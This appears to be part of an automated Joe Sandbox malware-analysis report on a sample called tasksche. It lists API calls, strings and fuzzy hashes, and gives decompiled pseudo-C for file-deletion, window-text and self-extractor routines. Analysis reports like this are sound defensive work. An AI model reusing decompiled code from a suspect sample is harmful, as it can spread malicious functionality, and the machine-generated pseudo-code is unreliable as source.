0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C

Part of subcall function 0040D781: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D82F

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,76D7BB20,?,0040F541,?,00000003), ref: 0040E9A7
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
SHFileOperationW.SHELL32 ref: 0040EA56
GetFileAttributesW.KERNEL32(?), ref: 0040EA63
DeleteFileW.KERNEL32(?), ref: 0040EA71
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
SetWindowTextW.USER32(?,?), ref: 0040EBBC
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
GetDlgItem.USER32 ref: 0040ED6B
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040ED8A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EDB6

Strings

ProgramFilesDir, xrefs: 0040EC7D
", xrefs: 0040EBE1
<br>, xrefs: 0040EB21
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EC58
C:\Windows, xrefs: 0040E8B5
\, xrefs: 0040ECCB
%s.%d.tmp, xrefs: 0040E999, 0040EA8E, 0040ED51, 0040ED81, 0040ED97

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$C:\Windows$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-2533930246
Opcode ID: 114082ad274461536ed57109f8b6e2670455e60a5bd40f743d430fb24242c176
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: 114082ad274461536ed57109f8b6e2670455e60a5bd40f743d430fb24242c176
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				WCHAR* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(E0042977F, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							_t104 = E00408BAE(_t167 - 0x1040, _t150); // executed
							 *((intOrPtr*)(_t167 - 0x1c)) = _t104;
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000); // executed
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, L"*messages***", 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, "*messages***", 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bceb
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004335BC,0040C3B4,0041005C,00439820,0041005C,00439820), ref: 0040BC67
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
Part of subcall function 00408BAE: GetLastError.KERNEL32(?,?), ref: 00408BEE

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

*messages***, xrefs: 0040BD39
*messages***, xrefs: 0040BD6B
a, xrefs: 0040BD82

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0040C15C(intOrPtr __ecx, void* __edx, void* __eflags, signed int _a4, intOrPtr _a8, struct HWND__* _a12) {
				char _v5;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				struct tagRECT _v52;
				struct tagRECT _v68;
				struct tagRECT _v84;
				short _v2132;
				signed int _t115;
				struct HWND__* _t117;
				signed int _t135;
				signed int _t159;
				struct HWND__* _t173;
				signed int _t174;
				int _t177;
				void* _t181;
				signed int _t182;
				signed int _t185;
				signed int _t194;
				void* _t196;
				void* _t197;
				void* _t200;
				int _t201;
				int _t204;

				_v36 = __ecx;
				_v5 = E0040C075(__ecx, __edx, _a8,  &_v20,  &_v16);
				GetWindowRect(_a4,  &_v52);
				GetClientRect(_a4,  &_v84);
				_t115 = _v84.right;
				_t181 = _v52.right - _v52.left + 1;
				_t200 = _v52.bottom - _v52.top + 1;
				_t196 = _t200 - _v84.bottom;
				_t173 = _t181 - _t115;
				_v12 = _t173;
				if(_v5 == 0) {
					L9:
					_t201 = 0x400;
					if(_a12 == 0) {
						GetWindowTextW(_a4,  &_v2132, 0x400);
						E0040BF1D(_v36,  &_v2132,  &_v2132, 0x400, 1, _a8);
						SetWindowTextW(_a4,  &_v2132); // executed
					}
					L12:
					_t197 = _t196 - GetSystemMetrics(8);
					_t117 = GetWindow(_a4, 5);
					_a4 = _a4 & 0x00000000;
					_a12 = _t117;
					_v12 = _t117;
					while(_t117 != 0) {
						if(_a4 >= 0x200) {
							break;
						}
						GetWindowTextW(_a12,  &_v2132, _t201);
						if(_v2132 != 0) {
							E0040BF1D(_v36,  &_v2132,  &_v2132, _t201, 1, _a8);
							SetWindowTextW(_a12,  &_v2132); // executed
						}
						if(_v5 != 0) {
							GetWindowRect(_a12,  &_v68);
							_push(0x204);
							asm("cdq");
							_t182 = 0x64;
							_push((_v68.bottom - _v68.top + 1) * _v16 / _t182);
							asm("cdq");
							_push((_v68.right - _v68.left + 1) * _v20 / _t182);
							_t135 = (_v68.top - _t197 - _v52.top) * _v16;
							asm("cdq");
							_push(_t135 / _t182);
							asm("cdq");
							_t185 = 0x64;
							asm("cdq");
							SetWindowPos(_a12, 0, (_v68.left - (_t173 - _t135 % _t182 >> 1) - _v52.left) * _v20 / _t185, ??, ??, ??, ??);
						}
						_t117 = GetWindow(_a12, 2);
						_a12 = _t117;
						if(_t117 == _v12) {
							break;
						} else {
							_a4 = _a4 + 1;
							continue;
						}
					}
					return _t117;
				}
				if(_a12 != 0) {
					_t201 = 0x400;
					goto L12;
				}
				asm("cdq");
				_t174 = 0x64;
				_v24 = _v12 + _t115 * _v20 / _t174;
				_t159 = _v84.bottom * _v16;
				asm("cdq");
				_t194 = _t159 % _t174;
				_v28 = _t159 / _t174 + _t196;
				asm("cdq");
				_t177 = (_t181 - _v24 - _t194 >> 1) + _v52.left;
				asm("cdq");
				_t204 = (_t200 - _v28 - _t194 >> 1) + _v52.top;
				if(_t177 < 0) {
					_t177 = 0;
				}
				if(_t204 < 0) {
					_t204 = 0;
				}
				_v32 = 0x204;
				if((GetWindowLongW(_a4, 0xfffffff0) & 0x00000800) == 0) {
					_v32 = 0x206;
				}
				SetWindowPos(_a4, 0, _t177, _t204, _v24, _v28, _v32);
				GetWindowRect(_a4,  &_v52);
				_t173 = _v12;
				goto L9;
			}

0x0040c173
0x0040c17b
0x0040c185
0x0040c192
0x0040c1a4
0x0040c1a7
0x0040c1a8
0x0040c1ad
0x0040c1b0
0x0040c1b6
0x0040c1b9
0x0040c258
0x0040c25c
0x0040c261
0x0040c26e
0x0040c285
0x0040c294
0x0040c294
0x0040c2a1
0x0040c2ae
0x0040c2b0
0x0040c2b6
0x0040c2ba
0x0040c2bd
0x0040c399
0x0040c2cc
0x00000000
0x00000000
0x0040c2dd
0x0040c2eb
0x0040c2fe
0x0040c30d
0x0040c30d
0x0040c317
0x0040c320
0x0040c32c
0x0040c336
0x0040c339
0x0040c33c
0x0040c348
0x0040c34b
0x0040c354
0x0040c358
0x0040c35b
0x0040c35e
0x0040c373
0x0040c374
0x0040c37d
0x0040c37d
0x0040c388
0x0040c38e
0x0040c394
0x00000000
0x0040c396
0x0040c396
0x00000000
0x0040c396
0x0040c394
0x0040c3a5
0x0040c3a5
0x0040c1c3
0x0040c29c
0x00000000
0x0040c29c
0x0040c1cd
0x0040c1d0
0x0040c1d6
0x0040c1dc
0x0040c1e0
0x0040c1e1
0x0040c1e5
0x0040c1ed
0x0040c1f9
0x0040c1fc
0x0040c203
0x0040c208
0x0040c20a
0x0040c20a
0x0040c20e
0x0040c210
0x0040c210
0x0040c217
0x0040c229
0x0040c22b
0x0040c22b
0x0040c242
0x0040c24f
0x0040c255
0x00000000

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

GetWindowRect.USER32 ref: 0040C185
GetClientRect.USER32 ref: 0040C192
GetWindowLongW.USER32(?,000000F0), ref: 0040C21E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C242
GetWindowRect.USER32 ref: 0040C24F
GetWindowTextW.USER32 ref: 0040C26E
SetWindowTextW.USER32(?,?), ref: 0040C294
GetSystemMetrics.USER32 ref: 0040C2A3
GetWindow.USER32(?,00000005), ref: 0040C2B0
GetWindowTextW.USER32 ref: 0040C2DD
SetWindowTextW.USER32(00000000,00000000), ref: 0040C30D
GetWindowRect.USER32 ref: 0040C320
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C37D
GetWindow.USER32(00000000,00000002), ref: 0040C388

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
API String ID: 4134264131-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D298 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D298(char _a4, long _a8) {
				struct HWND__* _v8;
				char _v75;
				intOrPtr _v80;
				signed int _v92;
				int _v96;
				void* _v100;
				intOrPtr _t48;
				struct HWND__* _t49;

				_t49 = GetDlgItem( *0x441844, 0x68);
				_v8 = _t49;
				if( *0x441848 == 0) {
					_t48 =  *0x438814; // 0x19fe80
					E0041918B(_t48);
					ShowWindow(_t49, 5); // executed
					SendMessageW(_t49, 0xb1, 0, 0xffffffff);
					SendMessageW(_t49, 0xc2, 0, 0x42a73c);
					 *0x441848 = 1;
				}
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				_v100 = 0x5c;
				SendMessageW(_v8, 0x43a, 0,  &_v100);
				_v75 = 0;
				_v96 = 1;
				if(_a4 != 0) {
					_v92 = _v92 & 0xbfffffff | 1;
					_v80 = 0xa0;
					_v96 = 0x40000001;
				}
				SendMessageW(_v8, 0x444, 1,  &_v100);
				SendMessageW(_v8, 0xc2, 0, _a8);
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_a4 != 0) {
					_v92 = _v92 & 0xfffffffe | 0x40000000;
					SendMessageW(_v8, 0x444, 1,  &_v100);
				}
				return SendMessageW(_v8, 0xc2, 0, L"\r\n");
			}

0x0040d2bc
0x0040d2be
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d6
0x0040d2e2
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d305
0x0040d315
0x0040d31c
0x0040d325
0x0040d329
0x0040d32c
0x0040d339
0x0040d33c
0x0040d343
0x0040d343
0x0040d357
0x0040d366
0x0040d36e
0x0040d374
0x0040d381
0x0040d392
0x0040d392
0x0040d3a9

APIs

GetDlgItem.USER32 ref: 0040D2A9
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D305
SendMessageW.USER32(0040639B,0000043A,00000000,?), ref: 0040D31C
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D357
SendMessageW.USER32(0040639B,000000C2,00000000,00000456), ref: 0040D366
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D36E
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D392
SendMessageW.USER32(0040639B,000000C2,00000000,0042A810), ref: 0040D3A3

